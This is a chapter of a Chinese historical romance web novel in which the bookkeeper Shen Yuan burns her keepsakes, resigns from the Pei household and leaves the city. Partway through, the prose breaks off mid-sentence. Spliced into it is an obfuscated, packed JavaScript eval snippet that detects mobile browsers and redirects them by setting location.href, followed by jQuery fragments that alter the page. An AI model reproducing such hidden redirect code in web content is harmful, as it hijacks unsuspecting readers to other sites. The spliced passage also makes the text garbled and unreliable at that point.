沈鸢坐在桌前，手里依旧拽着那件里衣，素绫面料被她攥出褶皱，忍冬纹样在烛火下泛着细密银线光泽。
窗外雪落无声，偶尔一阵风过，檐下铁马叮当响一声，冷清又遥远。
碧桃来敲过两次门，一次汤婆子，一次送膳食。沈鸢没有应声，碧桃便在门外站了片刻，将食盒搁在廊下，脚步声渐渐远去。
沈鸢起身，将里衣叠好，每一道折痕都压得平整。叠完却不知该放何处，捧在手中站了许久，最终只得放回锦盒中。
她走到墙角那只樟木箱前，拉开箱扣。
箱子里收着她四年来的珍藏——裴晏清随手赠她的书册，扉页有他批注，字迹清隽；某年中秋她替他斟酒，他道谢时送的一套酒杯……
她一件一件取出，摆在身前。
沈鸢闭上眼，深吸一口气，起身去外间取炭盆。
炭盆里余烬尚存，她用钳子拨开灰烬，露出底下暗红炭火。添几块碎炭，火苗窜起，舔舐新炭，发出细微噼啪声响。
她将一件件物什丢进炭盆，火舌立即卷起，吞没一切。
端砚烧不毁，她起身走到窗前，推开窗，用力掷出。砚台落在院中青砖地面，碎成几块，声响在雪夜中格外清脆。
碧桃被惊醒，立即从耳房出来，脚步声急促靠近。可沈鸢插上门闩。
“姑娘？”碧桃拍门，声音发颤，“姑娘怎么了？”
“无事。”沈鸢背靠门板，声音平静，“回去早些歇息！”
碧桃在门外站了很久，不再多问，脚步声慢慢远去。
沈鸢回到炭盆前，继续烧。
锦盒、书册、荷包、笔洗、镇纸……四年来积攒之物，一件一件丢进火焰。火光在她脸上跳动，明灭不定，映出一双干涸眼睛，没有泪，只有炭火倒影。
盆中只剩一堆灰烬，轻飘飘，风一吹便散。
沈鸢跪坐在地上，盯着那堆灰烬看了很久。
窗外雪停了，风也歇了，天地之间一片寂静，只有炭火余烬偶尔发出细微崩裂声。
她慢慢起身，膝盖跪得发麻，扶住桌沿站稳，走到铜盆前，洗净手上面灰迹。
水冰凉刺骨，她洗了很久，指缝间每一处墨痕都搓干净，手背那个烫伤红点被水浸得发白。
铜镜中映着一张苍白面庞，眼眶微红，唇色浅淡，鬓发散落几缕。
她看铜镜片刻，抬手将发丝抿到耳后，重新挽髻。
镜中人眉眼淡淡，看不出悲喜。
窗外天色渐渐转亮，从深蓝褪成灰白，又染上一层薄薄晨光。雪后初晴，日光透过窗纸照进来，落在青砖地面，亮得刺眼。
沈鸢换了一身石青色衣裳，她将袖口抚平，衣襟理正，对着铜镜最后端详一眼。
镜中人面色苍白，但脊背挺直，不见半分萎靡。
她走到书案前，铺开一张新纸，研墨。
墨锭在端砚中缓缓旋转，清水变浓稠，化不开黑。她提起笔，胃中不适再次翻涌，笔尖蘸饱墨汁，手指颤抖，悬腕静置片刻，落笔。
“沈鸢入府四载，蒙东家厚待，感激不尽。今因身体不适，请辞账房一职，望二爷恩准。”
辞呈写得简短，字迹工整，不疾不徐，墨迹未干泛湿润光泽。她也不顾，将纸页折叠成形，装入信封。
沈鸢将信揣入袖中，转身拉开门。
冷风扑面而来，裹挟雪后清冽气息，灌进领口，激得她打了个寒颤。院中积雪寸余，青砖地面覆一层白，端砚碎片半埋在雪中，露出漆黑一角。
碧桃端着铜盆从耳房出来，见她已穿戴整齐，愣在原地。
“姑娘要去哪儿？”
“松云居。”沈鸢走过她身侧，脚步未停。
碧桃端着铜盆跟了两步，欲言又止，终究没敢跟上来。
沈鸢穿过回廊，绕过影壁，往松云居去。
雪后，庭院寂静，檐下冰棱垂挂，日光照射下晶莹剔透，偶尔一滴水珠滑落，砸在青砖上，发出细微声响。
院中那株老槐树枝丫覆雪，压得低垂，几只麻雀在雪地蹦跳，留下细碎爪印。
她走过回廊转角，脚步微微一顿。
青砖地面落了一层雪，将所有痕迹覆盖，看不出曾有人在此驻足、凝望、然后转身逃跑。
沈鸢收回目光，继续往前走。
松云居三间阔朗，门前站着一个守门小厮，见她过来，躬身行礼。
“沈姑娘，二爷尚未起身。”
“我等着。”沈鸢站到廊下，面朝庭院，背靠廊柱。
小厮看了她一眼，没有多言，垂手退到一旁。
日光渐渐升高，雪地反光明晃晃，刺得人眼睛发酸。
沈鸢眯起眼，看着院中积雪一寸一寸消融，露出底下青砖本色。檐下冰棱开始滴水，起初一滴一滴，后来连成细线，砸在地上汇成一小洼水。
不知等了多久，房门从内打开。
裴晏清一身玄色衣裳，发束玉冠，面庞清隽，不见宿醉倦意。他目光落在沈鸢身上，带着审视。
沈鸢上前一步，从袖中取出信封，双手递上。
“二爷，沈鸢请辞。”
声音平稳，不见波澜，字字清楚。
裴晏清目光从她身上移开，落在她手中信封上，停留一瞬。他没有接，也没有说话，然后收回视线，重新落回她身上。
“放着。”
声音平淡，像在处理一件寻常琐事，听完便罢，不值得多费一个眼神。
沈鸢举着信封，指尖微微发凉。
她不得不走进屋，将信封放在书案边角，搁在砚台旁，月白信封便安安静静躺在那儿。
沈鸢直起身，退后一步。
“二爷可还有吩咐？”
她问这话时目光落在裴晏清侧脸上。他垂眸看书，睫毛低覆，鼻梁挺直，唇线微抿，晨光从窗棂漏进来，照在他面庞上，轮廓分明。
这张脸她看了多年，每一处都刻进骨血。此刻再看，却像隔了一层薄雾，熟悉又陌生。
裴晏清没有抬眼。
“无。”
一个字，干脆利落，不带半分犹豫。
沈鸢喉咙微微发紧，她张了张嘴，想说什么，终究未再出声。
她垂首，福了一礼，而后转身离开。
步子稳，脊背挺直，与昨日宴席上被喝退时一样，没有半分慌乱。裙摆拂过门槛，带起细微灰尘，在晨光中浮动。
没有挽留，甚至没有一句“为何要走”。那封辞呈安静躺在书案边角，像一件无关紧要物什，搁在那里便忘了。
沈鸢走过回廊，脚步不疾不徐。
庭院安静，日光洒在青砖地面，积水映出她模糊倒影，腰背挺直如松。
院中那株老槐树，枝丫覆雪，在日光照耀下开始融化。水滴顺着树枝滑落，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513236|203098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一滴，又一滴，砸在雪地上，砸出一个个细小坑洼。
沈鸢从树下走过，一滴水恰好落她肩头，沁进衣料，冰凉渗入皮肤。
穿过回廊，绕过影壁，回到她的院子。碧桃站在门口，手中攥着帕子，眼眶微红，见她回来，嘴唇翕动，最终只唤一声“姑娘”。
“帮我收拾东西。”沈鸢走进屋，声音平静，“我今日便离开裴府。”
碧桃愣住，眼泪啪嗒掉下来，却不敢多问，转身去收拾行李。
“碧桃，你就留在裴府吧！”
碧桃闻言，顾不上收拾行李，立即跪到沈鸢面前，“姑娘，不要赶我走，您从不把我当奴婢，你走到哪，奴婢就跟到哪。”
碧桃是裴府中人，她带不走，也不想她和自己去过苦日子。
沈鸢叹息一声，站在窗前，推开雕花木窗。冷风灌入，吹散室内残余烟火气。
碧桃很快收拾好行李，两只包袱，一只装衣裳，一只装书册账本——那是沈鸢自己历年所记，与裴家无关。
沈鸢最后看了一眼这间屋子。
墙上壁纸银白色，炭盆里灰烬尚温，桌上砚台洗净，笔架悬几支毛笔，窗台上那盆水仙已经开败，花瓣枯黄卷曲，垂着头。
她转身，走出门。
碧桃跟在身后，一手拎一只包袱，眼泪擦了又流，流了又擦。
沈鸢过处，一众下人窃窃私语，字字句句像细针扎在她身上。
“哎！听说她存了不该有的心思，攀咱们裴府这高枝不成，觉得丢脸自行离开。”
“才不是，她手脚不干净，账册出了问题，才被二爷赶走。”
碧桃擦掉眼泪，攥紧拳头想冲过去辩驳，沈鸢按住她手腕，轻轻摇头，示意她不必理会。
旁人的嘴堵不住，自己的路要走得正。
沈鸢没回头。
出了裴府侧门，街上积雪已扫净，青石板路面湿漉漉，倒映灰白天光。一辆马车停在门口，车夫正往车辕上铺毡垫，见她出来，忙跳下来。
“姑娘，去哪里？”
沈鸢思索片刻。
她在京城，一直住裴府，是因账房先生需随时核账。如今辞了差事，连落脚之处都没有。
沈鸢发现，从一开始，她便错了。
“直接出城。”
车夫应了一声，接过碧桃手中包袱，放进车厢。碧桃扶沈鸢上车，想要跟着爬上去，却被沈鸢拦住。
“碧桃，照顾好自己！”
“姑娘……”碧桃眼泪汪汪，她跟在沈鸢身边多年，知道她做下决定，便不轻易改变。
马车启动，车轮碾过湿滑石板，发出咕噜声响。
沈鸢靠在车厢壁上，闭着眼。车厢内光线昏暗，马车微微晃动中，她感觉五脏六腑都在翻涌。
车轮声咕噜咕噜，一下一下，像碾在她心口。街边传来热闹声，世间万物照常运转，只有她该回归原位。
她那深藏的爱慕，终究是给裴晏清造成困扰。
马车穿过城门，驶上官道。城外田野覆一层薄雪，麦苗从雪下露出一点青绿，在寒风中瑟瑟发抖。
远处村庄炊烟袅袅，灰白色烟柱升起，在冷空气中缓缓散开。
沈鸢看着窗外渐远城墙，青灰色墙砖斑驳，墙头覆雪，城楼旗幡被风吹得猎猎作响。
往后怎么办，她也不知道。
但是，她很想阿爹！